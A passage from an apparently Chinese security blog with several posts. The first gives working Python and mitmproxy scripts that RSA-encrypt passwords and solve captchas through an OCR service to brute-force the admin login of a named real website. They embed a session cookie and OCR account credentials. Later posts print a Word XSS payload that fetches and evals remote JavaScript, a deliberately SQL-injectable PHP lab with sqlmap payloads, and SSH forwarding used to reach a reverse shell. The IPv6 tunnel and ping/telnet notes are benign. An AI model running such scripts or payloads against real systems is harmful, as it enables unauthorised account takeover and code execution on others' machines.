            # print(encrypt(data['password']).decode())
            e_password = encrypt(data['password']).decode()
            imgStr = getcode.getCode()
            veryCode = getcode.identify()

            flow.request.content = json.dumps(
                {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()
                # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()
            print(flow.request.content)

    def response(self, flow: http.HTTPFlow):
        pass


addons = [
    AutoDecoderClass()
]

这个脚本最终呈现的效果是在burp上。

运行：
mitmdump -s demo.py --ssl-insecure --listen-port 55555 --mode socks5
[16:30:44.612] Loading script demo.py
[16:30:44.946] SOCKS v5 proxy listening at *:55555.

不要忘记添加代理。

可以看到，我即使不用输入验证码和验证码token参数，只输入账号和明文密码，也可以通过验证，这里可以测试类似注入攻击与暴力破解。

完整代码：

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2024/3/2 15:01
# @Author : 大C菌
# @File : demo.py
# @Software: PyCharm
from mitmproxy import http
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import io, json, requests, base64
from PIL import Image


class GetCode:

    def __init__(self):
        pass

    def getCode(self):
        headers = {
            "Host": "www.sx-xfjy.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.sx-xfjy.com/",
        }

        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
        req = requests.get(url=url, headers=headers)
        req_json = req.json()
        imgStr = req_json['data']['imgStr']
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
        image_data = base64.b64decode(imageBase64Data)
        image = Image.open(io.BytesIO(image_data))
        image.save('img/decode_images.png')
        print(imgStr)
        return str(imgStr)

    def base64_api(self, uname, pwd, img, typeid):
        with open(img, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            b64 = base64_data.decode()
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
        if result['success']:
            return result["data"]["result"]
        else:
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
            return result["message"]

    def identify(self):
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
        print(result)
        return str(result)


# 加密函数
def encrypt(password):
    with open('pub.key', 'r', encoding='utf-8') as info:
        pub_key = info.read()

    pub_key = RSA.import_key(pub_key)

    # 使用公钥创建一个加密器
    cipher_rsa = PKCS1_v1_5.new(pub_key)

    m = password.encode()
    e_data = cipher_rsa.encrypt(m)
    e_data_base64 = base64.b64encode(e_data)
    return e_data_base64


class AutoDecoderClass(object):

    def request(self, flow: http.HTTPFlow):
        getcode = GetCode()
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':
            # print(flow.request.content)
            data = json.loads(flow.request.content.decode('utf-8'))
            # print(data['password'])
            # print(encrypt(data['password']).decode())
            e_password = encrypt(data['password']).decode()
            imgStr = getcode.getCode()   # 这里要先进行获取token，在进行识别，不然在获取tokne的时候就会多访问一次接口
            veryCode = getcode.identify()

            flow.request.content = json.dumps(
                {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()
                # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()
            print(flow.request.content)

    def response(self, flow: http.HTTPFlow):
        pass


addons = [
    AutoDecoderClass()
]

2、登录框爆破

这里和第一种方式大差不大，主要就是完全通过脚本去提交数据，其中加密与验证码识别是一样的。

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2024/3/2 16:36
# @Author : 大C菌
# @File : demo2.py
# @Software: PyCharm
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import io, json, requests, base64
from PIL import Image


class GetCode:

    def __init__(self):
        pass

    def getCode(self):
        headers = {
            "Host": "www.sx-xfjy.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.sx-xfjy.com/",
        }

        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
        req = requests.get(url=url, headers=headers)
        req_json = req.json()
        imgStr = req_json['data']['imgStr']
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
        image_data = base64.b64decode(imageBase64Data)
        image = Image.open(io.BytesIO(image_data))
        image.save('img/decode_images.png')
        print(imgStr)
        return str(imgStr)

    def base64_api(self, uname, pwd, img, typeid):
        with open(img, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            b64 = base64_data.decode()
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
        if result['success']:
            return result["data"]["result"]
        else:
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
            return result["message"]

    def identify(self):
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
        print(result)
        return str(result)


# 加密函数
def encrypt(password):
    with open('pub.key', 'r', encoding='utf-8') as info:
        pub_key = info.read()

    pub_key = RSA.import_key(pub_key)

    # 使用公钥创建一个加密器
    cipher_rsa = PKCS1_v1_5.new(pub_key)

    m = password.encode()
    e_data = cipher_rsa.encrypt(m)
    e_data_base64 = base64.b64encode(e_data)
    return e_data_base64


if __name__ == '__main__':
    getcode = GetCode()
    headers = {
        "Host": "www.sx-xfjy.com",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Referer": "http://www.sx-xfjy.com/",
        "Content-Type": "application/json;charset=utf-8",
        "Origin": "http://www.sx-xfjy.com",
        "Cookie": "SECKEY_ABVK=qOUnHiYLA0QvxOh8qtI8CSsUkzNCv/5ucN/hU6zcXY0%3D; BMAP_SECKEY=iGmRyj6_NdjcORnEGQxsoDU9ZrGuL9y7_4zjlCUiQZfVi_w-iN2SWlB-qwG64p4QDoGioaYCMq_Di0SL2lL1zhGtkc6kiuHi3ypdxIgoiVx_mXeoIrU4JI4_yT6MslzpO0ywiLA0zrtHiQGB7OD9V_Yj-M6IHc3CBUdtX_gzmTuSP8GHzojDRLrUZEXlI68t"
    }

    url = 'http://www.sx-xfjy.com/vue_admin/omp/system/system_spring_security'

    username = 'admin'
    password = '123456'
    e_password = encrypt(password).decode()

    data = {
        "username": username,
        "password": e_password,
        "loginposition": 1,
        "imgStr": getcode.getCode(),
        "veryCode": getcode.identify()
    }
    json_data = json.dumps(data)   # 坑点！！！必须要进行json转换，在这里失败了好多次
    req = requests.post(url=url, headers=headers, data=json_data)
    print(json_data)
    print(req.text)
    print(req.status_code)

可以修改username和password两个参数值来进行登录框爆破，下列是使用第一种方法进行爆破，更容易实现。

完结撒花~~~

PS：

后期发现了两个工具可以不需要第三方ocr来进行识别，财力有限的大家可以使用开源工具进行识别(^.^)

tesseract-ocr

https://digi.bib.uni-mannheim.de/tesseract/

https://blog.csdn.net/username666/article/details/126310781

ddddocr

https://pypi.org/project/ddddocr/1.1.0/

def identify2(self):
    with open('img/decode_images.png', 'rb') as info:
        img_bytes = info.read()

    text = DdddOcr(show_ad=False).classification(img_bytes)
    print(text)

2023 Microsoft Office XSS

Sun, 11 Feb 2024 23:57:00 GMT

背景介绍

在服务器中，当从攻击者指定的链接解析视频时，视频标题中包含的恶意Payload可触发 XSS 攻击，从而允许执行任意 Javascript 代码。

环境说明

产品：Office Word，包括Office 365 Word 测试版本：Microsoft Word for Microsoft 365 MSO (Version 2306 Build 16.0.16529.20164) 64-bit Bug类别：XSS（跨站脚本）

漏洞详情

包括 MS Word 在内的各种 Office 产品允许用户通过"在线视频"选项卡将所需的外部视频插入到文档中。

当用户播放嵌入在文档中的外部视频时，Office 会检查外部视频的提供商是否值得信赖，例如 YouTube，此检查是通过将以下正则表达式应用于 URL 来执行的。

https?://(www\.)?youtube\.\w{2,3}/.*|https?://(www\.)?youtube-nocookie\.\w{2,3}/.*|https?://youtu\.be/.*|https?://(player\.)?vimeo\.com/.*|https?://(\w+\.)?slideshare\.net/.*|https?://(\w+\.)?microsoftstream\.com/.*

如果它被认为是可信的，就会发送如下请求来获取视频标题或缩略图等数据。

GET https://hubble.officeapps.live.com/mediasvc/api/media/oembed?url=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGX2nEmvxK-4%3Ffeature%3Doembed&streamsso=true&lcid=1033&syslcid=1042&uilcid=1033&app=0&ver=16&build=16.0.16529&platform=Win32 HTTP/1.1
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.16529; Pro)
X-IDCRL_ACCEPTED: t
X-Office-Version: 16.0.16529
X-Office-Application: 0
X-Office-Platform: Win32
X-Office-AudienceGroup: Production
X-Office-SessionId: DE75B69F-49BA-4D92-BD45-2B02504B4021
Host: hubble.officeapps.live.com

以上是来自 hubble.officeapps.live.com 上的服务器响应信息，包括视频的标题、描述和用于播放视频的 HTML iframe 标记。

该漏洞问题在于 iframe 标记，服务器将视频的标题添加到 iframe 标记的"title"属性中，无需任何验证，因此，通过适当地使用双引号，我们就可以自由地将 onload 属性添加到服务器响应的 iframe 标记中。

以下是 officeapps.live.com 服务器对恶意外部视频的响应示例：

{
    "description": "",
    "video_description": "",
    "start_time": null,
    "end_time": null,
    "embed_url": "https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed",
    "html": "<iframe width=\"200\" height=\"150\" src=\"https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\" title=\"\" onload=\"fetch('http://158.247.239.32/a.js').then(function(a){a.text().then(function(a){eval(a)})})\" sandbox=\"allow-scripts allow-same-origin allow-popups\"></iframe>",
    "type": "video",
    "title": "\" onload=\"fetch('http://127.0.0.1/a.js').then(function(a){a.text().then(function(a){eval(a)})})",
    "provider_name": "YouTube",
    "provider_url": "https://www.youtube.com/",
    "thumbnail_url": "https://i.ytimg.com/vi/GX2nEmvxK-4/hqdefault.jpg",
    "thumbnail_width": 480.0,
    "thumbnail_height": 360.0,
    "width": 200.0,
    "height": 150.0
}

根据该响应，Word 会在 %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Word 目录中写入要通过 Edge Webview 呈现的 HTML 文件。

结果可想而知，这个 HTML 将包含攻击者注入的 JS 代码。（此逻辑在 wwlib!XszCreateVideoHTML 中实现，具体可自行Google）

如上所示，iframe 的沙箱属性设置了allow-scripts、allow-same-origin 和allow-popups，这意味着可以执行 JavaScript，可以通过 window.open 运行所需的 URI，或者可以通过 fetch 方法执行来自外部的服务器脚本。

EXP开发

如漏洞描述中的示例所示，创建一个 YouTube 视频，其标题包含用于插入 onload 属性的Payload：

" onload="fetch('[http://127.0.0.1/a.js](http://127.0.0.1/a.js)').then(function(a){a.text().then(function(a){eval(a)})})

第1步：单击 Word 中的"在线视频"选项卡，然后将恶意视频的 URL 插入到文档中

第2步：设置一个简单的 Web 服务器，允许 CORS 并使用恶意 JavaScript 进行响应，如下所示。（本示例通过计算器 URI 方案执行 calc.exe。）

from flask import Flask

app = Flask(__name__)

@app.after_request
def apply_cors(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    return response

@app.route('/a.js', methods=['GET'])
def exploit():
    return 'window.open("calculator://")'
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

结论

该漏洞表明，攻击者可以创建包含特定视频的 Word 文档，并在播放视频时执行任意 javascript 代码
Office 过去的关键漏洞，如 CVE-2021-40444 和 CVE-2022-30190 (Folina)，都是从执行任意 javascript 开始的
如果它与新的易受攻击的 URI 结合，例如之前被利用的 ms-msdt，则可能会直接导致严重的 RCE（远程代码执行）漏洞
尤其是当播放Word中嵌入的视频时触发的漏洞，攻击者很容易诱导用户播放视频

IPV6隧道代理

Fri, 22 Dec 2023 16:12:00 GMT

HE Tunnel Broker 设置教程

创建 Tunnel Broker IPv6 隧道

注册 Tunnel Broker 账号
```
https://www.tunnelbroker.net/
```
点击左侧的Create Regular Tunnel(创建常规隧道)
输入 VPS 的公网 IP 地址
根据 VPS 的位置选择一个合适的节点
页面拉到最下方，点击
```
Create Tunnel
```
(创建隧道)

在 Tunnel Details 页面可以看到创建的 IPv6 隧道的详细信息，其中 Client IPv6 Address 是申请到公网 IPv6 地址。

获取配置示例

在 Tunnel Details 页面有个 Example Configuration 选项卡，在这里你可以选择合适的配置示例。就比如这里有 Debian/Ubuntu 的 interfaces 配置文件示例：

只要基于 Debian 的发行版和使用 interfaces 配置文件的系统理论上都可以使用。其它不兼容的发行版则可以使用 Linux-net-tools 或 Linux-route2 示例手动输入命令，出现下面ping的结果就证明成功了。

添加 IPv6 网络接口

将 he-ipv6 配置文件添加到 /etc/network/interfaces.d/ 目录下。下面是一把梭命令示例，根据实际情况替换文本。

sudo tee /etc/network/interfaces.d/he-ipv6 <<EOF
auto he-ipv6
iface he-ipv6 inet6 v4tunnel
        address 2001:xxx:xxxx:xxxx::2
        netmask 64
        endpoint 216.66.84.46
        local 233.xxx.xxx.233
        ttl 255
        gateway 2001:xxx:xxxx:xxxx::1
EOF

TIPS: 如果是 NAT VPS 或 VPC 内网方案则需要将local字段后面的公网 IP 替换为内网 IP 。获取命令：ip route get 8.8.8.8 | grep -oP 'src \K\S+'。

启用 IPv6 隧道

安装网络工具包

sudo apt update
sudo apt install net-tools iproute2 -y

启动 he-ipv6 网络接口
```
sudo ifup he-ipv6
```
TIPS：若提示 ifup: unknown interface he-ipv6 ，则添加source /etc/network/interfaces.d/*到/etc/network/interfaces文件（一把梭命令：echo 'source /etc/network/interfaces.d/*' >>/etc/network/interfaces）后重试，正常情况下无输出。

启用后执行 ifconfig 命令，这时应该有一个 he-ipv6 接口，类似下面这样：

he-ipv6: flags=209<UP,POINTOPOINT,RUNNING,NOARP>  mtu 1480
          inet6 2001:xxx:xxxx:xxxx::2  prefixlen 64  scopeid 0x0<global>
          inet6 fe80::xxxx:xxxx  prefixlen 64  scopeid 0x20<link>
          sit  txqueuelen 1000  (IPv6-in-IPv4)
          RX packets 11605  bytes 3127821 (3.1 MB)
          RX errors 0  dropped 0  overruns 0  frame 0
          TX packets 13811  bytes 2403522 (2.4 MB)
          TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

若没有生效可以尝试重启网络
```
sudo systemctl restart networking
```

其它操作

检测 IPv6 支持

执行 ping6 google.com 命令，能 ping 通说明 VPS 已经支持 IPv6 网络了。

NAT VPS 的额外设置

IPv4 NAT VPS 除了前面提到的替换 IP 操作以外，可能还需要一些额外的设置，否则可能还是无法访问 IPv6 网络。

配置防火墙允许 41 端口入站
```
ufw allow 41
```
添加相关的路由规则
```
route -A inet6 add ::/0 dev he-ipv6
```

DNS 设置优化

TIPS: 以下设置仅针对操作系统 DNS ，代理软件应单独设置内置的 DNS 和 IP 分流策略，具体参考相关软件文档中的 DNS 和路由部分。

选择合适的 DNS 解析服务器

因为通过 IPv6 隧道去请求可能会拖慢 DNS 解析速度，所以一般不建议在系统中使用 IPv6 地址的 DNS。

编辑 /etc/resolv.conf 文件，更改 DNS 解析服务器为支持查询 AAAA 记录的 DNS 服务器，比如 Google Public DNS。

nameserver 8.8.8.8
nameserver 8.8.4.4

优先使用 IPv4 网络

默认情况下 IPv6 网络优先级会高于 IPv4 ，为了防止 IPv6 隧道拖慢 VPS 的正常网速，可以设置优先使用 IPv4 网络。同时也能减轻了对 HE Tunnel Broker 节点的网络压力，合理使用宝贵的免费资源。

编辑 /etc/gai.conf 文件，在末尾添加下面这行配置：

precedence  ::ffff:0:0/96   100

一键添加命令如下：

echo 'precedence  ::ffff:0:0/96   100' | sudo tee -a /etc/gai.conf

完事执行 curl ip.p3terx.com 命令，显示 VPS 的 IPv4 地址则代表成功。

删除 HE IPv6 隧道

不想用了，或者想使用其它方式访问 IPv6 网络时，记得先删除。

停用隧道
```
sudo ifdown he-ipv6
```
删除 he-ipv6 网络接口配置文件（若没有删除重启后会自动启用）
```
sudo rm -f /etc/network/interfaces.d/he-ipv6
```

使用`IPv6`地址进行访问

curl -6 -I --interface 2001:470:18:a8c::2 "网站url"
# -6 访问ipv6地址
# -I 选择网卡
# --interface 选择使用访问的网络接口

结果如下：

IPv6地址使用ping和telnet命令汇总

Thu, 21 Dec 2023 11:27:00 GMT

简述

本文主要介绍IPV6通信时，IPv6地址的ping、telnet操作。

实验环境

Linux：CentOS Linux release 7.2.1511 (Core)

Windows：Windows 10家庭中文版

windows ping linux

命令：ping -6 linux_ipv6地址%windows接口序号

查询windows接口序号

命令：ipconfig –all

通过ipconfig-all命令查看到ipv6地址如下：

fe80::cd04:c16b:9adf:dfe7%22

%后面是本ipv6地址对应的网络接口的index，windows术语叫scope id，可理解为一个接口序号，则22为当前windows接口序号。

查询linux_ipv6地址

命令：ip addr

通过ip addr命令查看到ipv6地址如下：

fe80::20c:29ff:fea4:1509

windows ping linux

ping -6 fe80::20c:29ff:fea4:1509%22

linux ping windows

命令：ping6 -I linux_接口名 win_ipv6地址

查看linux接口名

命令：ip addr

通过ip addr命令查看到linux接口名为eno16777736

linux ping windows

ping6 -I eno16777736 fe80::cd04:c16b:9adf:dfe7

linux ping linux

（A服务器上ping另外一台服务器B）

命令：ping6 –I A服务器linux接口名 B服务器linux_ipv6地址

查看A服务器linux接口名

命令：ip addr

通过ip addr命令查看到A服务器linux接口名为eno16777736

查看B服务器linux_ipv6地址

命令：ip addr

通过ip addr命令查看到ipv6地址如下：

fe80::20c:29ff:feaa:9a1b

linux ping linux

ping6 -I eno16777736 fe80::20c:29ff:feaa:9a1b

windows telnet linux_ipv6端口

命令：telnet linux_ipv6地址%windows接口序号 端口

查询linux_ipv6地址

命令：ip addr

通过ip addr命令查看到ipv6地址如下：

fe80::20c:29ff:feaa:9a1b

查询windows接口序号

命令：ipconfig –all

通过ipconfig-all命令查看到ipv6地址如下：

fe80::cd04:c16b:9adf:dfe7%22

%后面是本ipv6地址对应的网络接口的index，windows术语叫scope id，可理解为一个接口序号，则22为当前windows接口序号。

查看服务端口

命令：lsof -i: 端口号

windows telnet 服务80端口

telnet fe80::20c:29ff:feaa:9a1b%22 80

linux telnet linux_ipv6端口

（B服务器telnet另一台A服务器上的80端口）

命令：telnet -6 A_linux_ipv6地址%B_linux接口名 A_服务器80端口

查看A_linux_ipv6地址

命令：ip addr

通过ip addr命令查看到A_linux_ipv6地址如下：

fe80::20c:29ff:feaa:9a1b

查看B_linux接口名

命令：ip addr

通过ip addr命令查看到B_linux_ipv6接口名为eno16777736

查看A_服务器80端口

命令：lsof –i:端口

lsof –i:80

linux telnet linux_ipv6端口

telnet -6 fe80::20c:29ff:feaa:9a1b%eno16777736 80

Oracle数据库SQL注入环境搭建

Tue, 12 Dec 2023 17:49:00 GMT

Oracle数据库SQL注入环境搭建

0x00 安装 Oracle

使用Docker进行安装

要下载的镜像较大, 建议 https://cr.console.aliyun.com/cn-qingdao/instances/mirrors

https://s2vfan7w.mirror.aliyuncs.com

1. 安装／升级Docker客户端
推荐安装1.10.0以上版本的Docker客户端，参考文档docker-ce

2. 配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户

您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器

sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://s2vfan7w.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

更换源之后，直接pull Oracle镜像，这里选择 https://github.com/MaksymBilenko/docker-oracle-12c 镜像。

docker pull sath89/oracle-12c

0x01 启动 Oracle

docker run --name myoracle -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /Users/hua/docker/Oracle:/u01/app/oracle sath89/oracle-12c

参数解释如下：

--name: 容器名字
-d：后台运行容器, 并返回容器ID
-p 本机端口:容器端口: 端口映射
-e ORACLE_ALLOW_REMOTE=true: 设置允许远程连接.
-v 本地目录:容器目录: 挂载本地目录, 将数据保留在本机来达到数据持久化的目的, 要不每次起的容器都是全新的.

运行完上面的命令之后，需要等待容器初始化，可以通过下面命令查看进度。

docker logs -f myoracle

当最底下出现Database ready to use. Enjoy! ;)后代表初始化成功。

不知道为什么用上述办法导致创建的容易一直会闪退出，刚运行起来就关闭了，总之我用了下述方法，简单粗暴。

docker run -it -d -p 8080:8080 -p 1521:1521 sath89/oracle-12c

接下来进入容器：

docker exec -it myoracle env LANG=C.UTF-8 /bin/bash

进入容器这里用的也是简单粗暴：

docker exec -it cranky_greider /bin/bash

先创建sqlplus的软链接：

ln -s $ORACLE_HOME/bin/sqlplus /usr/bin

然后切换到oracle账户：

su oracle

连接Oracle：

sqlplus / as sysdba

接下来新建一个表测试一下：

create table student (
   xh number(4), -- 学号
   xm varchar2(20), -- 姓名
   sex char(2), -- 性别
   birthday date, -- 出生日期
   sal number(7,2) -- 奖学金
);

下面的一般测试持久化是由于会删除容器，我这里不删除所以不进行持久化了，至此, Oracle 安装完成！

0x02 apache-php-oracle

https://github.com/thomasbisignani/docker-apache-php-oracle

docker pull thomasbisignani/docker-apache-php-oracle

在本地新建一个测试php，其中的ip为本机的ip，端口为Oracle映射出来的端口。

<?php

$username = 'system';
$password = 'oracle';

$connectText = '//10.1.239.138:1521/XE';

$conn = oci_connect($username, $password, $connectText);
if (!$conn) {
    $e = oci_error();
    echo 'Oracle connect failed <br />';
    exit($e['message']);
}

echo 'Oracle connect ok'."<br>";
?>

0x03 测试

1、创建数据表空间

create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m;

2、创建用户并指定表空间

create user pentest identified by pentest default tablespace pentest;

3、给用户授予权限因为是测试注入所以给权限

grant connect,resource,dba to pentest;

4、exit退出并以pentest登录

$ORACLE_HOME/bin/sqlplus pentest/pentest

5、建表并插入数据

 CREATE TABLE users (
     id number,
     name varchar(500),
     surname varchar(1000)
 );

 INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
 INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
 INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
 INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
 INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
 commit;

这里我用的Navicat，连接Navicat的问题在文末有写，记得insert完要commit。

6、然后修改php文件如下：

# 由于环境内没有vi和vim编辑器，只能通过docker cp进行传输文件
docker cp ./test.php 6ae0e91be12e:/var/www/html/

 <?php
 $username = 'pentest';
 $password = 'pentest';
 $connectText = '//10.1.239.138:1521/XE';
 $conn = oci_connect($username, $password, $connectText);
 if (!$conn) {
     $e = oci_error();
     echo 'Oracle connect failed <br />';
     exit($e['message']);
 }
 echo 'Oracle connect ok' . "<br>";
 // Prepare the statement
 if (!isset($_GET['id']) || $_GET['id'] == null) {
     echo "oracle sqlinjection test: oracle_test.php?id=1</br>";
     $stid = oci_parse($conn, "select * from USERS");
 } else {
     //SQL injection!!!!!!
     $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']);
 }
 if (!$stid) {
     $e = oci_error($conn);
     exit($e['message']);
 }
 // Perform the logic of the query
 $r = oci_execute($stid);
 if (!$r) {
     $e = oci_error($stid);
     exit($e['message']);
 }
 // Fetch the results of the query
 print "<table border='1'>\n";
 while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
     print "<tr>\n";
     foreach ($row as $item) {
         $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " ");
         print "    <td>" . $item . "</td>\n";
     }
     print "</tr>\n";
 }
 print "</table>\n";
 oci_free_statement($stid);
 oci_close($conn);
 ?>

0x04 SQL注入环境

2.html

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>User Query</title>
</head>
<body>
  <h1>User Query</h1>
  <form action="query.php" method="post">
    Enter User ID: <input type="text" name="user_id" required>
    <input type="submit" value="Query">
  </form>
</body>
</html>

query.php

<?php
// 获取用户输入的 ID
$user_id = $_POST['user_id'];

// 连接到 Oracle 数据库
$conn = oci_connect('pentest', 'pentest', '//10.1.239.138:1521/xe');

// 查询用户信息
$query = "SELECT * FROM users WHERE id = $user_id";
$stid = oci_parse($conn, $query);
oci_execute($stid);

// 显示查询结果
while ($row = oci_fetch_assoc($stid)) {
    echo "User ID: " . $row['USER_ID'] . "<br>";
    echo "Name: " . $row['NAME'] . "<br>";
    echo "SURNAME: " . $row['SURNAME'] . "<br>";
    // 添加其他用户信息字段
}

// 关闭连接
oci_free_statement($stid);
oci_close($conn);
?>

# 如果访问2.html显示403错误，原因可能是文件权限没有设置可读
chmod 644 2.html
root@6ae0e91be12e:/var/www/html# ls -l
total 20
-rw-r--r-- 1 root root    4 Dec 12 07:50 1.html
-rw-r--r-- 1 root root 1240 Dec 12 08:25 1.php
-rw-r--r-- 1 1000 1000  389 Dec 12 07:46 2.html
-rw-r--r-- 1 1000 1000  628 Dec 12 08:33 query.php
-rw-r--r-- 1 root root  292 Dec 12 09:05 test.php

输入user_id = 1 or 1=1 时显示所有数据

sqlmap

# 所有数据库
python3 sqlmap.py -r 1.txt -dbs

select * from USERS where id = 1 UNION ALL SELECT NULL,CHR(113)||CHR(107)||CHR(106)||CHR(113)||CHR(113)||CHR(99)||CHR(84)||CHR(90)||CHR(117)||CHR(89)||CHR(104)||CHR(71)||CHR(89)||CHR(100)||CHR(115)||CHR(81)||CHR(115)||CHR(73)||CHR(110)||CHR(111)||CHR(70)||CHR(81)||CHR(102)||CHR(101)||CHR(66)||CHR(65)||CHR(83)||CHR(84)||CHR(110)||CHR(121)||CHR(105)||CHR(85)||CHR(121)||CHR(75)||CHR(78)||CHR(74)||CHR(116)||CHR(66)||CHR(80)||CHR(111)||CHR(100)||CHR(70)||CHR(105)||CHR(79)||CHR(80)||CHR(113)||CHR(112)||CHR(113)||CHR(98)||CHR(113),NULL FROM DUAL-- YGEl

在Navicat中为10秒

select * from USERS where id = 1 AND 2228=DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(102)||CHR(67)||CHR(65),5)

0x05 小结

# 启动 Oracle
docker run -it -d -p 8080:8080 -p 1521:1521 sath89/oracle-12c

# 启动 php
docker run -p 8090:80 -d -v /Users/hua/docker/sample:/var/www/html thomasbisignani/docker-apache-php-oracle

# 进入 Oracle 容器里面
docker exec -it cranky_greider /bin/bash
# 以 pentest身份 进入 Oracle 命令行
$ORACLE_HOME/bin/sqlplus pentest/pentest

# 浏览器访问
本机 ip:8090

PS：使用Navicat连接Oracle

映射出来的是1521端口，为Oracle数据库的连接端口

1、连接时出现 cannot create oci handles

因为所使用的oci.dll的环境与服务器的Oracle版本不符。

我这里的版本是12.1.0，去Navicat目录下查看版本，我这里已经修改过了，之前是11.1.0。

可以去Oracle官网下载对应版本。

https://www.oracle.com/database/technologies/instant-client/winx64-64-downloads.html

解压后将文件夹放在Navicat根目录下即可，然后引用这个版本的oci.dll环境，保存重启即可。

2、连接时出现 ORA-12514:TNS:listener does not currently know of service requested in connect descriptor

这里是由于使用的服务名对应不上，Navicat连接Oracle的默认服务名为ORCL。

使用Oracle身份进入sql界面sqlplus / as sysdba
执行show parameter names，显示的service_names对应的values就是navicat对应的服务名

连接成功。

SSH 隧道/端口转发

Fri, 24 Nov 2023 14:00:00 GMT

SSH 隧道/端口转发

SSH：本地端口转发

如果不出网的情况接，可以利用本地ssh做转发出网

例如，有一个要访问的主机，但出口防火墙不允许，可以执行以下操作：

ssh -L 127.0.0.1:9999:远程主机IP:PORT user@SSH_SERVER

像这样的就可以把流量转发到本地主机上的127.0.0.1:9999端口。这里将流量通过SSH服务转发到了目标远程主机的机器上

开始实操

在10.0.0.5机器上：

ssh -L9999:10.0.0.12:4444 root@10.0.0.12 -N -f

在本地端口 9999 上绑定（在主机 10.0.0.5 上）。监听任何到达该端口 9999（即 127.0.0.1:9999 或 10.0.0.5:9999）的流量，并将其全部转发到主机 10.0.0.12 上的端口 4444：我们可以看到 127.0.0.1:9999 现在确实在监听：

在机器 10.0.0.12 上机器 10.0.0.12 正在监听端口 4444 - 它已准备好向任何加入的人提供反向 shell：

在机器 10.0.0.5 上由于机器正在监听 127.0.0.1:9999，让我们对其进行 netcat - 这应该为我们提供来自 10.0.0.12:4444 的反向 shell：

上面确实表明我们从 10.0.0.12 获得了一个反向 shell，并且本地隧道正常工作。

SSH：远程端口转发

